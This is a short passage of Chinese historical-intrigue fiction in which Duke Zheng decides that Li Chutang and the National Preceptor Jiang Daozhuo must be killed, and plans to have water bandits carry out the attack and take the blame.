这人可比李家那丫头难缠万倍。 “消息来源可靠？” “民间百晓生所传……只怕背后有人操控传言。” 国师于阳明山天祭时遭遇不测，下落不明。幕后黑手至今仍未找到，许是这人暗地里推波助澜也未可知。 “既如此，让水匪一并留意。” 宁可错杀一千，不可错放一个。 李初棠不能留，江道灼必须死。 青年声音不禁发颤：“那可是国师……” 他心中打着退堂鼓。 朝堂上下谁敢惹那个疯子？！ “试试又何妨。即便失手，也是水匪担责。”郑国公漠然道。 祸水引不到郑家头上。 江道灼确实难缠，可暗箭难防。 何况，朝中想取他性命之人何其之多，他怎知这一箭来自何处。